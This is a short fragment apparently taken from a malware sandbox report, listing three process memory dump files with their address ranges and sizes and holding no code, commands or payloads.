                                                                                                                                • memory/2840-256-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  136KB

                                                                                                                                • memory/3004-318-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/3004-253-0x0000000001310000-0x0000000001311000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB